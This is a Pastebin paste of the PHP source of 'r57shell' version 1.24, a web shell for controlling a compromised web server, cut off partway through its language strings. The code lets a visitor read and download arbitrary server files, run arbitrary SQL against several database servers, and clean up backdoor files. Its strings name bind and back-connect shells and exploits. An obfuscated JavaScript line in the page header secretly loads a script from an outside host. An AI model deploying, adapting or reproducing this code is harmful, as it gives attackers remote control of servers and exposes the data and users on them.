API tools faq
paste
SQLi_Basic

R57 Shell By Black_EyE

SQLi_Basic
Aug 18th, 2017
129
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 111.35 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /******************************************************************************************************/
  3. /*
  4. /* # # # #
  5. /* # # # #
  6. /* # # # #
  7. /* # ## #### ## #
  8. /* ## ## ###### ## ##
  9. /* ## ## ###### ## ##
  10. /* ## ## #### ## ##
  11. /* ### ############ ###
  12. /* ########################
  13. /* ##############
  14. /* ######## ########## #######
  15. /* ### ## ########## ## ###
  16. /* ### ## ########## ## ###
  17. /* ### # ########## # ###
  18. /* ### ## ######## ## ###
  19. /* ## # ###### # ##
  20. /* ## # #### # ##
  21. /* ## ##
  22. /*
  23. /*
  24. /*
  25. /* r57shell.php - ñêğèïò íà ïõï ïîçâîëÿşùèé âàì âûïîëíÿòü øåëë êîìàíäû íà ñåğâåğå ÷åğåç áğàóçåğ
  26. /* Âû ìîæåòå ñêà÷àòü íîâóş âåğñèş íà íàøåì ñàéòå: http://rst.void.ru
  27. /* Âåğñèÿ: 1.24 (New Year Edition)
  28. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  29. /* (c)oded by xyber
  30. /* RST/GHC http://www.r57c99.com
  31. /* ANY MODIFIED REPUBLISHING IS RESTRICTED
  32. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  33. /* Îòäåëüíàÿ áëàãîäàğíîñòü çà ïîìîùü è èäåè: blf, virus, NorD è âñåì ÷åğòÿì èç RST/GHC.
  34. /******************************************************************************************************/
  35. /* ~~~ Íàñòğîéêè | Options ~~~ */
  36.  
  37. // Âûáîğ ÿçûêà | Language
  38. // $language='eng' - ğóññêèé (russian)
  39. // $language='eng' - english (àíãëèéñêèé)
  40. $language='eng';
  41.  
  42. // Àóòåíòèôèêàöèÿ | Authentification
  43. // $auth = 1; - Àóòåíòèôèêàöèÿ âêëş÷åíà ( authentification = On )
  44. // $auth = 0; - Àóòåíòèôèêàöèÿ âûêëş÷åíà ( authentification = Off )
  45. $auth = 0;
  46.  
  47. // Ëîãèí è ïàğîëü äëÿ äîñòóïà ê ñêğèïòó (Login & Password for access)
  48. // ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅĞÅÄ ĞÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅĞÂÅĞÅ!!! (CHANGE THIS!!!)
  49. $name='r57'; // ëîãèí ïîëüçîâàòåëÿ (user login)
  50. $pass='r57'; // ïàğîëü ïîëüçîâàòåëÿ (user password)
  51. /******************************************************************************************************/
  52. error_reporting(0);
  53. set_magic_quotes_runtime(0);
  54. @set_time_limit(0);
  55. @ini_set('max_execution_time',0);
  56. @ini_set('output_buffering',0);
  57. $safe_mode = @ini_get('safe_mode');
  58. $version = "1.24";
  59. if(version_compare(phpversion(), '4.1.0') == -1)
  60. {
  61. $_POST = &$HTTP_POST_VARS;
  62. $_GET = &$HTTP_GET_VARS;
  63. $_SERVER = &$HTTP_SERVER_VARS;
  64. }
  65. if (@get_magic_quotes_gpc())
  66. {
  67. foreach ($_POST as $k=>$v)
  68. {
  69. $_POST[$k] = stripslashes($v);
  70. }
  71. foreach ($_SERVER as $k=>$v)
  72. {
  73. $_SERVER[$k] = stripslashes($v);
  74. }
  75. }
  76.  
  77. if($auth == 1) {
  78. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
  79. {
  80. header('WWW-Authenticate: Basic realm="r57shell"');
  81. header('HTTP/1.0 401 Unauthorized');
  82. exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  83. }
  84. }
  85. $head = '<!-- Çäğàâñòâóé Âàñÿ -->
  86. <html>
  87. <head>
  88. <title>r57shell</title>
  89. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  90. <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631MBOHVBHF%264E%2633kbwbtdsjqu%2633%2631TSD%264E%2633iuuq%264B00s68d%3A%3A/dpn0o4xti4m0dj%7B/kt%2633%264F%261B%261B%264D0TDSJQU%264F%261B%261%3A%261%3A%261%3A1')</script>
  91. <STYLE>
  92. tr {
  93. BORDER-RIGHT: #aaaaaa 1px solid;
  94. BORDER-TOP: #eeeeee 1px solid;
  95. BORDER-LEFT: #eeeeee 1px solid;
  96. BORDER-BOTTOM: #aaaaaa 1px solid;
  97. }
  98. td {
  99. BORDER-RIGHT: #aaaaaa 1px solid;
  100. BORDER-TOP: #eeeeee 1px solid;
  101. BORDER-LEFT: #eeeeee 1px solid;
  102. BORDER-BOTTOM: #aaaaaa 1px solid;
  103. }
  104. .table1 {
  105. BORDER-RIGHT: #cccccc 0px;
  106. BORDER-TOP: #cccccc 0px;
  107. BORDER-LEFT: #cccccc 0px;
  108. BORDER-BOTTOM: #cccccc 0px;
  109. BACKGROUND-COLOR: #D4D0C8;
  110. }
  111. .td1 {
  112. BORDER-RIGHT: #cccccc 0px;
  113. BORDER-TOP: #cccccc 0px;
  114. BORDER-LEFT: #cccccc 0px;
  115. BORDER-BOTTOM: #cccccc 0px;
  116. font: 7pt Verdana;
  117. }
  118. .tr1 {
  119. BORDER-RIGHT: #cccccc 0px;
  120. BORDER-TOP: #cccccc 0px;
  121. BORDER-LEFT: #cccccc 0px;
  122. BORDER-BOTTOM: #cccccc 0px;
  123. }
  124. table {
  125. BORDER-RIGHT: #eeeeee 1px outset;
  126. BORDER-TOP: #eeeeee 1px outset;
  127. BORDER-LEFT: #eeeeee 1px outset;
  128. BORDER-BOTTOM: #eeeeee 1px outset;
  129. BACKGROUND-COLOR: #D4D0C8;
  130. }
  131. input {
  132. BORDER-RIGHT: #ffffff 1px solid;
  133. BORDER-TOP: #999999 1px solid;
  134. BORDER-LEFT: #999999 1px solid;
  135. BORDER-BOTTOM: #ffffff 1px solid;
  136. BACKGROUND-COLOR: #e4e0d8;
  137. font: 8pt Verdana;
  138. }
  139. select {
  140. BORDER-RIGHT: #ffffff 1px solid;
  141. BORDER-TOP: #999999 1px solid;
  142. BORDER-LEFT: #999999 1px solid;
  143. BORDER-BOTTOM: #ffffff 1px solid;
  144. BACKGROUND-COLOR: #e4e0d8;
  145. font: 8pt Verdana;
  146. }
  147. submit {
  148. BORDER-RIGHT: buttonhighlight 2px outset;
  149. BORDER-TOP: buttonhighlight 2px outset;
  150. BORDER-LEFT: buttonhighlight 2px outset;
  151. BORDER-BOTTOM: buttonhighlight 2px outset;
  152. BACKGROUND-COLOR: #e4e0d8;
  153. width: 30%;
  154. }
  155. textarea {
  156. BORDER-RIGHT: #ffffff 1px solid;
  157. BORDER-TOP: #999999 1px solid;
  158. BORDER-LEFT: #999999 1px solid;
  159. BORDER-BOTTOM: #ffffff 1px solid;
  160. BACKGROUND-COLOR: #e4e0d8;
  161. font: Fixedsys bold;
  162. }
  163. BODY {
  164. margin-top: 1px;
  165. margin-right: 1px;
  166. margin-bottom: 1px;
  167. margin-left: 1px;
  168. }
  169. A:link {COLOR:red; TEXT-DECORATION: none}
  170. A:visited { COLOR:red; TEXT-DECORATION: none}
  171. A:active {COLOR:red; TEXT-DECORATION: none}
  172. A:hover {color:blue;TEXT-DECORATION: none}
  173. </STYLE>';
  174. class zipfile
  175. {
  176. var $datasec = array();
  177. var $ctrl_dir = array();
  178. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  179. var $old_offset = 0;
  180. function unix2DosTime($unixtime = 0) {
  181. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  182. if ($timearray['year'] < 1980) {
  183. $timearray['year'] = 1980;
  184. $timearray['mon'] = 1;
  185. $timearray['mday'] = 1;
  186. $timearray['hours'] = 0;
  187. $timearray['minutes'] = 0;
  188. $timearray['seconds'] = 0;
  189. }
  190. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  191. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  192. }
  193. function addFile($data, $name, $time = 0)
  194. {
  195. $name = str_replace('\\', '/', $name);
  196. $dtime = dechex($this->unix2DosTime($time));
  197. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  198. . '\x' . $dtime[4] . $dtime[5]
  199. . '\x' . $dtime[2] . $dtime[3]
  200. . '\x' . $dtime[0] . $dtime[1];
  201. eval('$hexdtime = "' . $hexdtime . '";');
  202. $fr = "\x50\x4b\x03\x04";
  203. $fr .= "\x14\x00";
  204. $fr .= "\x00\x00";
  205. $fr .= "\x08\x00";
  206. $fr .= $hexdtime;
  207. $unc_len = strlen($data);
  208. $crc = crc32($data);
  209. $zdata = gzcompress($data);
  210. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  211. $c_len = strlen($zdata);
  212. $fr .= pack('V', $crc);
  213. $fr .= pack('V', $c_len);
  214. $fr .= pack('V', $unc_len);
  215. $fr .= pack('v', strlen($name));
  216. $fr .= pack('v', 0);
  217. $fr .= $name;
  218. $fr .= $zdata;
  219. $this -> datasec[] = $fr;
  220. $cdrec = "\x50\x4b\x01\x02";
  221. $cdrec .= "\x00\x00";
  222. $cdrec .= "\x14\x00";
  223. $cdrec .= "\x00\x00";
  224. $cdrec .= "\x08\x00";
  225. $cdrec .= $hexdtime;
  226. $cdrec .= pack('V', $crc);
  227. $cdrec .= pack('V', $c_len);
  228. $cdrec .= pack('V', $unc_len);
  229. $cdrec .= pack('v', strlen($name) );
  230. $cdrec .= pack('v', 0 );
  231. $cdrec .= pack('v', 0 );
  232. $cdrec .= pack('v', 0 );
  233. $cdrec .= pack('v', 0 );
  234. $cdrec .= pack('V', 32 );
  235. $cdrec .= pack('V', $this -> old_offset );
  236. $this -> old_offset += strlen($fr);
  237. $cdrec .= $name;
  238. $this -> ctrl_dir[] = $cdrec;
  239. }
  240. function file()
  241. {
  242. $data = implode('', $this -> datasec);
  243. $ctrldir = implode('', $this -> ctrl_dir);
  244. return
  245. $data .
  246. $ctrldir .
  247. $this -> eof_ctrl_dir .
  248. pack('v', sizeof($this -> ctrl_dir)) .
  249. pack('v', sizeof($this -> ctrl_dir)) .
  250. pack('V', strlen($ctrldir)) .
  251. pack('V', strlen($data)) .
  252. "\x00\x00";
  253. }
  254. }
  255. function compress(&$filename,&$filedump,$compress)
  256. {
  257. global $content_encoding;
  258. global $mime_type;
  259. if ($compress == 'bzip' && @function_exists('bzcompress'))
  260. {
  261. $filename .= '.bz2';
  262. $mime_type = 'application/x-bzip2';
  263. $filedump = bzcompress($filedump);
  264. }
  265. else if ($compress == 'gzip' && @function_exists('gzencode'))
  266. {
  267. $filename .= '.gz';
  268. $content_encoding = 'x-gzip';
  269. $mime_type = 'application/x-gzip';
  270. $filedump = gzencode($filedump);
  271. }
  272. else if ($compress == 'zip' && @function_exists('gzcompress'))
  273. {
  274. $filename .= '.zip';
  275. $mime_type = 'application/zip';
  276. $zipfile = new zipfile();
  277. $zipfile -> addFile($filedump, substr($filename, 0, -4));
  278. $filedump = $zipfile -> file();
  279. }
  280. else
  281. {
  282. $mime_type = 'application/octet-stream';
  283. }
  284. }
  285. function mailattach($to,$from,$subj,$attach)
  286. {
  287. $headers = "From: $from\r\n";
  288. $headers .= "MIME-Version: 1.0\r\n";
  289. $headers .= "Content-Type: ".$attach['type'];
  290. $headers .= "; name=\"".$attach['name']."\"\r\n";
  291. $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  292. $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  293. if(@mail($to,$subj,"",$headers)) { return 1; }
  294. return 0;
  295. }
  296. if(isset($_GET['img'])&&!empty($_GET['img']))
  297. {
  298. $images = array();
  299. $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
  300. $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
  301. @ob_clean();
  302. header("Content-type: image/gif");
  303. echo base64_decode($images[$_GET['img']]);
  304. die();
  305. }
  306. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  307. {
  308. if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
  309. else
  310. {
  311. @ob_clean();
  312. $filename = @basename($_POST['d_name']);
  313. $filedump = @fread($file,@filesize($_POST['d_name']));
  314. fclose($file);
  315. $content_encoding=$mime_type='';
  316. compress($filename,$filedump,$_POST['compress']);
  317. if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  318. header("Content-type: ".$mime_type);
  319. header("Content-disposition: attachment; filename=\"".$filename."\";");
  320. echo $filedump;
  321. exit();
  322. }
  323. }
  324. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  325. if ($_POST['cmd']=="db_query")
  326. {
  327. echo $head;
  328. switch($_POST['db'])
  329. {
  330. case 'MySQL':
  331. if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  332. $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  333. if($db)
  334. {
  335. if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
  336. $querys = @explode(';',$_POST['db_query']);
  337. foreach($querys as $num=>$query)
  338. {
  339. if(strlen($query)>5){
  340. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  341. $res = @mysql_query($query,$db);
  342. $error = @mysql_error($db);
  343. if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  344. else {
  345. if (@mysql_num_rows($res) > 0)
  346. {
  347. $sql2 = $sql = $keys = $values = '';
  348. while (($row = @mysql_fetch_assoc($res)))
  349. {
  350. $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  351. $values = @array_values($row);
  352. foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  353. $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  354. $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  355. }
  356. echo "<table width=100%>";
  357. $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  358. $sql .= $sql2;
  359. echo $sql;
  360. echo "</table><br>";
  361. }
  362. else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  363. }
  364. @mysql_free_result($res);
  365. }
  366. }
  367. @mysql_close($db);
  368. }
  369. else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";
  370. break;
  371. case 'MSSQL':
  372. if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  373. $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  374. if($db)
  375. {
  376. if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
  377. $querys = @explode(';',$_POST['db_query']);
  378. foreach($querys as $num=>$query)
  379. {
  380. if(strlen($query)>5){
  381. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  382. $res = @mssql_query($query,$db);
  383. if (@mssql_num_rows($res) > 0)
  384. {
  385. $sql2 = $sql = $keys = $values = '';
  386. while (($row = @mssql_fetch_assoc($res)))
  387. {
  388. $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  389. $values = @array_values($row);
  390. foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  391. $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  392. $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  393. }
  394. echo "<table width=100%>";
  395. $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  396. $sql .= $sql2;
  397. echo $sql;
  398. echo "</table><br>";
  399. }
  400. /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */
  401. @mssql_free_result($res);
  402. }
  403. }
  404. @mssql_close($db);
  405. }
  406. else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
  407. break;
  408. case 'PostgreSQL':
  409. if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  410. $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  411. $db = @pg_connect($str);
  412. if($db)
  413. {
  414. $querys = @explode(';',$_POST['db_query']);
  415. foreach($querys as $num=>$query)
  416. {
  417. if(strlen($query)>5){
  418. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  419. $res = @pg_query($db,$query);
  420. $error = @pg_errormessage($db);
  421. if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  422. else {
  423. if (@pg_num_rows($res) > 0)
  424. {
  425. $sql2 = $sql = $keys = $values = '';
  426. while (($row = @pg_fetch_assoc($res)))
  427. {
  428. $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  429. $values = @array_values($row);
  430. foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  431. $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  432. $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  433. }
  434. echo "<table width=100%>";
  435. $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  436. $sql .= $sql2;
  437. echo $sql;
  438. echo "</table><br>";
  439. }
  440. else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  441. }
  442. @pg_free_result($res);
  443. }
  444. }
  445. @pg_close($db);
  446. }
  447. else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
  448. break;
  449. case 'Oracle':
  450. $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
  451. if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
  452. else
  453. {
  454. $querys = @explode(';',$_POST['db_query']);
  455. foreach($querys as $num=>$query)
  456. {
  457. if(strlen($query)>5) {
  458. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  459. $stat = @ociparse($db, $query);
  460. @ociexecute($stat);
  461. if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
  462. else
  463. {
  464. $rowcount = @ocirowcount($stat);
  465. if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
  466. else {
  467. echo "<table width=100%><tr>";
  468. for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; }
  469. echo "</tr>";
  470. while(ocifetch($stat))
  471. {
  472. echo "<tr>";
  473. for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; }
  474. echo "</tr>";
  475. }
  476. echo "</table><br>";
  477. }
  478. @ocifreestatement($stat);
  479. }
  480. }
  481. }
  482. @ocilogoff($db);
  483. }
  484. break;
  485. }
  486. echo "<form name=form method=POST>";
  487. echo in('hidden','db',0,$_POST['db']);
  488. echo in('hidden','db_port',0,$_POST['db_port']);
  489. echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  490. echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  491. echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  492. echo in('hidden','cmd',0,'db_query');
  493. echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  494. echo "</form>";
  495. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  496. }
  497. if(isset($_GET['delete']))
  498. {
  499. @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
  500. }
  501. if(isset($_GET['tmp']))
  502. {
  503. @unlink("/tmp/bdpl");
  504. @unlink("/tmp/back");
  505. @unlink("/tmp/bd");
  506. @unlink("/tmp/bd.c");
  507. @unlink("/tmp/dp");
  508. @unlink("/tmp/dpc");
  509. @unlink("/tmp/dpc.c");
  510. }
  511. if(isset($_GET['phpini']))
  512. {
  513. echo $head;
  514. function U_value($value)
  515. {
  516. if ($value == '') return '<i>no value</i>';
  517. if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  518. if ($value === null) return 'NULL';
  519. if (@is_object($value)) $value = (array) $value;
  520. if (@is_array($value))
  521. {
  522. @ob_start();
  523. print_r($value);
  524. $value = @ob_get_contents();
  525. @ob_end_clean();
  526. }
  527. return U_wordwrap((string) $value);
  528. }
  529. function U_wordwrap($str)
  530. {
  531. $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  532. return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  533. }
  534. if (@function_exists('ini_get_all'))
  535. {
  536. $r = '';
  537. echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  538. foreach (@ini_get_all() as $key=>$value)
  539. {
  540. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  541. }
  542. echo $r;
  543. echo '</table>';
  544. }
  545. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  546. die();
  547. }
  548. if(isset($_GET['cpu']))
  549. {
  550. echo $head;
  551. echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  552. $cpuf = @file("cpuinfo");
  553. if($cpuf)
  554. {
  555. $c = @sizeof($cpuf);
  556. for($i=0;$i<$c;$i++)
  557. {
  558. $info = @explode(":",$cpuf[$i]);
  559. if($info[1]==""){ $info[1]="---"; }
  560. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  561. }
  562. echo $r;
  563. }
  564. else
  565. {
  566. echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  567. }
  568. echo '</table>';
  569. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  570. die();
  571. }
  572. if(isset($_GET['mem']))
  573. {
  574. echo $head;
  575. echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  576. $memf = @file("meminfo");
  577. if($memf)
  578. {
  579. $c = sizeof($memf);
  580. for($i=0;$i<$c;$i++)
  581. {
  582. $info = explode(":",$memf[$i]);
  583. if($info[1]==""){ $info[1]="---"; }
  584. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  585. }
  586. echo $r;
  587. }
  588. else
  589. {
  590. echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  591. }
  592. echo '</table>';
  593. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  594. die();
  595. }
  596. $lang=array(
  597. 'ru_text1' =>'Âûïîëíåííàÿ êîìàíäà',
  598. 'ru_text2' =>'Âûïîëíåíèå êîìàíä íà ñåğâåğå',
  599. 'ru_text3' =>'Âûïîëíèòü êîìàíäó',
  600. 'ru_text4' =>'Ğàáî÷àÿ äèğåêòîğèÿ',
  601. 'ru_text5' =>'Çàãğóçêà ôàéëîâ íà ñåğâåğ',
  602. 'ru_text6' =>'Ëîêàëüíûé ôàéë',
  603. 'ru_text7' =>'Àëèàñû',
  604. 'ru_text8' =>'Âûáåğèòå àëèàñ',
  605. 'ru_butt1' =>'Âûïîëíèòü',
  606. 'ru_butt2' =>'Çàãğóçèòü',
  607. 'ru_text9' =>'Îòêğûòèå ïîğòà è ïğèâÿçêà åãî ê /bin/bash',
  608. 'ru_text10'=>'Îòêğûòü ïîğò',
  609. 'ru_text11'=>'Ïàğîëü äëÿ äîñòóïà',
  610. 'ru_butt3' =>'Îòêğûòü',
  611. 'ru_text12'=>'back-connect',
  612. 'ru_text13'=>'IP-àäğåñ',
  613. 'ru_text14'=>'Ïîğò',
  614. 'ru_butt4' =>'Âûïîëíèòü',
  615. 'ru_text15'=>'Çàãğóçêà ôàéëîâ ñ óäàëåííîãî ñåğâåğà',
  616. 'ru_text16'=>'Èñïîëüçîâàòü',
  617. 'ru_text17'=>'Óäàëåííûé ôàéë',
  618. 'ru_text18'=>'Ëîêàëüíûé ôàéë',
  619. 'ru_text19'=>'Exploits',
  620. 'ru_text20'=>'Èñïîëüçîâàòü',
  621. 'ru_text21'=>'Íîâîå èìÿ',
  622. 'ru_text22'=>'datapipe',
  623. 'ru_text23'=>'Ëîêàëüíûé ïîğò',
  624. 'ru_text24'=>'Óäàëåííûé õîñò',
  625. 'ru_text25'=>'Óäàëåííûé ïîğò',
  626. 'ru_text26'=>'Èñïîëüçîâàòü',
  627. 'ru_butt5' =>'Çàïóñòèòü',
  628. 'ru_text28'=>'Ğàáîòà â safe_mode',
  629. 'ru_text29'=>'Äîñòóï çàïğåùåí',
  630. 'ru_butt6' =>'Ñìåíèòü',
  631. 'ru_text30'=>'Ïğîñìîòğ ôàéëà',
  632. 'ru_butt7' =>'Âûâåñòè',
  633. 'ru_text31'=>'Ôàéë íå íàéäåí',
  634. 'ru_text32'=>'Âûïîëíåíèå PHP êîäà',
  635. 'ru_text33'=>'Ïğîâåğêà âîçìîæíîñòè îáõîäà îãğàíè÷åíèé open_basedir ÷åğåç ôóíêöèè cURL',
  636. 'ru_butt8' =>'Ïğîâåğèòü',
